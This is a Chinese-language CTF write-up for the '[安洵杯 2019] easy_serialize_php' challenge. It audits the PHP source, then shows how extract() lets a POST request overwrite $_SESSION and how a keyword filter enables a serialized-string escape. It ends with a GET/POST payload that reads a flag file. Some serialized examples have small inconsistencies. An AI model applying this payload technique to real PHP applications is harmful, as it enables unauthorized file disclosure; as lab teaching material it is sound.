[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

一、代码审计

 <?php

$function = @$_GET['f'];

function filter($img){  # <= 将数组中存在的几个关键词从传入的img中删除
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){  # <= 存在session就删除
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);   # <= 此题第一关的关键

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

根据提示，GET请求传参数f=phpinfo

可以看到存在一个类似flag的php文件。因此现在的思路就是如何利用代码中的file_get_contents函数获取flag，而file_get_contents中的参数为经过base64_decode的userinfo[‘img’], 而img的来源在如下代码,这段代码是我们不能直接传一个img_path参数，因为只要img_path有值那么还会经过sha1加密，因此只能考虑其他思路，结合unserialize函数最有可能的还是反序列化。

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

二、参数覆盖

经过进一步代码审计发现extract（https://www.w3school.com.cn/php/func_array_extract.asp）函数，该函数可以利用字典批量赋值。因此可以利用post传入构造的_session[‘test’]=test

$_POST = {"_session[‘test’]" => “test”} 经过extract后 $_session[‘test’]=test,完成赋值。

三、反序列化漏洞以及字符逃逸

function filter($img){  # <= 将数组中存在的几个关键词从传入的img中删除
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$serialize_info = filter(serialize($_SESSION));

关注以上代码，由于filter函数会删除数组中的几个关键词，因此可以据此构造。

# _SESSION['phpflag']=qweeeeeeeeeeeeeeee post提交后
a:4:{s:4:"user";s:5:"guest";s:8:"function";N;s:7:"phpflag";s:43:"qwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwe";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

# 经过filter函数
a:4:{s:4:"user";s:5:"guest";s:8:"function";N;s:7:"";s:43:"qwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwe";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

# 被过滤掉phpflag后 ";s:43:变成键,将之前随意填充的qweeee改成;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";}后变为，其中ZDBnM19mMWFnLnBocA==为d0g3_f1ag.php base64加密后的值。
a:4:{s:4:"user";s:5:"guest";s:8:"function";N;s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

** 最后payload： **

# GET:
?f=show_image
# POST:
_SESSION['phpflag'] = ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn，（如果使用bash进行base64加密一定要记得加 -n 参数）也是20位。直接替换即可。